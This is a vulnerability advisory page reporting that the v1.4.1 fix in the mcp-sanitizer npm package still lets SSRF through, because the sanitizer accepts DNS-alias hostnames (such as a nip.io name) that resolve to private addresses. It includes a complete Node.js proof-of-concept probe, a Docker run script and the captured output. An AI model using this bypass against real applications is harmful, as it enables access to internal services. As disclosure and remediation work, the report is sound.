
Cloud Vulnerability DB
A community-led vulnerabilities database
*.internal, *.local, metadata, ...) and CGNAT/reserved/NAT64/6to4 ranges are now blocked at string level. A DNS alias such as *.nip.io can only be caught by resolving it: use the new resolveAndValidateURL() (or URLValidator with validateDNS: true) and connect to the returned address. Synchronous sanitize() remains a string-level check.I tested the fix for GHSA-4mfg-r38w-w8fg on the v1.4.1 release. The patched sanitizer rejects localhost with a port and direct private IP addresses. It still accepts a hostname whose DNS answer is private. I passed http://172.17.0.4.nip.io:19345/ to the public sanitizeURL() API. It returned isValid: true and preserved the URL. The name resolved to 172.17.0.4, and a request using the returned URL read a sentinel from a service in the Docker lab.
The fix classifies the URL's hostname when that hostname is a literal IP address. It doesn't classify the address returned by DNS. This is an incomplete fix for GHSA-4mfg-r38w-w8fg. As with the parent advisory, the SSRF consequence depends on an application using this library to gate a subsequent fetch; the library does not fetch URLs itself.
$ bash run.sh # the script is reproduced at the end of this report68fe0a06b6a85b48ef8160e2df6c77fcb5695c11437914ba00381417c4acf25b mcp-sanitizer-1.4.1.tar.gz
1.4.1I also checked that tag v1.4.1 points to commit dd2e7653978f1623757abd6ad691ab457f91be5d.INTERNAL_SENTINEL_20261029. Then I ran the probe below (reproduced in full at the end) with LAB_REPO set to the unpacked v1.4.1 source directory. The complete probe source is attached; it calls the public async sanitizeURL() API before each fetch, and runs BENIGN first, followed by ORIGINAL, BYPASS, and CONTROL.LAB_REPO=/tmp/mcp-sanitizer-cve-bypass/src node probe.jsI used a public hostname as the benign fetch. Node sent this request, and the connection timed out without reaching the lab sentinel:GET / HTTP/1.1
Host: example.com:19345
Connection: close{"arm":"BENIGN","url":"http://example.com:19345/","isValid":true,"sanitized":"http://example.com:19345/","dns":"104.20.23.154","fetch":{"error":"timeout"}}The published input to the patched URL check was refused. The direct-IP near miss was refused too:{"arm":"ORIGINAL","url":"http://localhost:19345/","isValid":false,"sanitized":null,"fetch":"refused by sanitizer"}
{"arm":"CONTROL","url":"http://127.0.0.1.:19345/","isValid":false,"sanitized":null,"fetch":"refused by sanitizer"}The accepted DNS alias caused this request to the lab service:GET / HTTP/1.1
Host: 172.17.0.4.nip.io:19345
Connection: close{"arm":"BYPASS","url":"http://172.17.0.4.nip.io:19345/","isValid":true,"sanitized":"http://172.17.0.4.nip.io:19345/","dns":"172.17.0.4","fetch":{"status":200,"body":"INTERNAL_SENTINEL_20261029"}}The service address is the Docker lab's private IPv4 address. A fresh run substitutes its own private address into the DNS alias. The four arms above are that capture, verbatim.An application that treats sanitizeURL() or the MCP tool middleware as its SSRF boundary can pass an attacker-supplied DNS alias to a downstream fetcher. The middleware handles web_fetch and web_scraper URL parameters and forwards an accepted sanitized URL. In the lab, that URL reached a private HTTP service and returned its response. I did not test a deployed application or read a real internal service.
validateURLLocation() lowercases the hostname, strips brackets and one trailing dot, rejects localhost names, and classifies literal IPv4 and IPv6 addresses. A DNS hostname passes those checks unchanged. The separate async URL validator has validateDNS: false by default; enabling it calls dns.lookup() to check that resolution succeeds, but it does not classify the returned address.
I scored the residual as 8.2, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N. The attacker now needs a DNS name resolving to a private address, which is easy to obtain or control; the lab used a public DNS alias service with no special account or race. The application still must use the sanitized URL for a subsequent request, the same integration precondition as in the parent advisory. Confidentiality is high only for an application whose internal fetcher returns sensitive service responses. The lab proves reachability and a returned sentinel, not access to production secrets.
Resolve each hostname before approving it and reject any private, loopback, link-local, reserved, or otherwise disallowed answer. Pin the checked address for the actual connection, or have the fetcher repeat the check at connect time, so a DNS change or redirect cannot move the request to an internal address after validation.
I ran the release archive in a Docker lab. I couldn't find a bundled fetcher in this package, and I did not test a deployed consumer. The result shows that the default sanitizer approves a URL which a normal Node HTTP client then uses to reach a private address. Currency check 2026-10-29: I checked the npm registry's current package version as 1.4.1 and reran the PoC against the v1.4.1 release archive that day. The same four arms held.
const http = require("http");
const dns = require("dns").promises;
const os = require("os");
const { sanitizeURL } = require(process.env.LAB_REPO + "/src");
const sentinel = "INTERNAL_SENTINEL_20261029";
const localAddress = Object.values(os.networkInterfaces()).flat()
.find(addr => addr.family === "IPv4" && !addr.internal).address;
const server = http.createServer((req, res) => {
res.writeHead(200, { "content-type": "text/plain" });
res.end(sentinel);
});
async function fetchResult(url) {
return new Promise(resolve => {
const req = http.get(url, { timeout: 2500 }, res => {
let body = "";
res.setEncoding("utf8");
res.on("data", chunk => { body += chunk; });
res.on("end", () => resolve({ status: res.statusCode, body }));
});
req.on("timeout", () => req.destroy(new Error("timeout")));
req.on("error", err => resolve({ error: err.code || err.message }));
});
}
async function arm(name, url) {
const result = await sanitizeURL(url);
const row = {
arm: name,
url,
isValid: result.isValid,
sanitized: result.sanitized
};
if (result.sanitized) {
row.dns = (await dns.lookup(new URL(result.sanitized).hostname)).address;
row.fetch = await fetchResult(result.sanitized);
} else {
row.fetch = "refused by sanitizer";
}
console.log(JSON.stringify(row));
if (name === "BENIGN" && row.fetch.body === sentinel) throw Error("benign control reached sentinel");
if (name === "ORIGINAL" && result.isValid) throw Error("published input was not refused");
if (name === "BYPASS" && !(result.isValid && row.fetch.body === sentinel)) throw Error("bypass failed");
if (name === "CONTROL" && result.isValid) throw Error("near-miss was not refused");
}
server.listen(19345, "0.0.0.0", async () => {
try {
await arm("BENIGN", "http://example.com:19345/");
await arm("ORIGINAL", "http://localhost:19345/");
await arm("BYPASS", `http://${localAddress}.nip.io:19345/`);
await arm("CONTROL", "http://127.0.0.1.:19345/");
} catch (error) {
console.error(error);
process.exitCode = 1;
} finally {
server.close();
}
});#!/bin/sh
set -eu
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
VER=${VER:-v1.4.1}
case "$VER" in
v[0-9]*.[0-9]*.[0-9]*) ;;
*) echo "VER must be a release tag such as v1.4.1" >&2; exit 2 ;;
esac
BINKIT=${BINKIT:-"$HERE/binkit.sh"}
WORK=${POC_WORK:-/tmp}
docker exec sbx mkdir -p "$WORK"
LAB=$(docker exec sbx mktemp -d "$WORK/mcp-sanitizer-cve-bypass.XXXXXX")
trap 'docker exec sbx rm -rf -- "$LAB" >/dev/null 2>&1 || true' EXIT
BINKIT_CONTAINER=sbx "$BINKIT" fetch \
"https://github.com/starman69/mcp-sanitizer/archive/refs/tags/$VER.tar.gz" \
"$LAB/download"
docker cp "$HERE/probe.js" "sbx:$LAB/probe.js"
docker exec -e LAB="$LAB" -e VER="$VER" sbx sh -lc '
set -eu
archive="$LAB/download/mcp-sanitizer-${VER#v}.tar.gz"
sha256sum "$archive"
if [ "$VER" = v1.4.1 ]; then
echo "68fe0a06b6a85b48ef8160e2df6c77fcb5695c11437914ba00381417c4acf25b $archive" | sha256sum -c -
fi
mkdir -p "$LAB/src"
tar -xzf "$archive" --strip-components=1 -C "$LAB/src"
cd "$LAB/src"
npm ci --silent
echo "release_tag=$VER package_version=$(node -p "require(\"./package.json\").version")"
LAB_REPO="$LAB/src" node "$LAB/probe.js"
'This report was prepared with AI assistance (Claude Code). The reporter stands behind its content; every arm above was executed in a contained lab against the published release, and I can re-run any of them on request.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."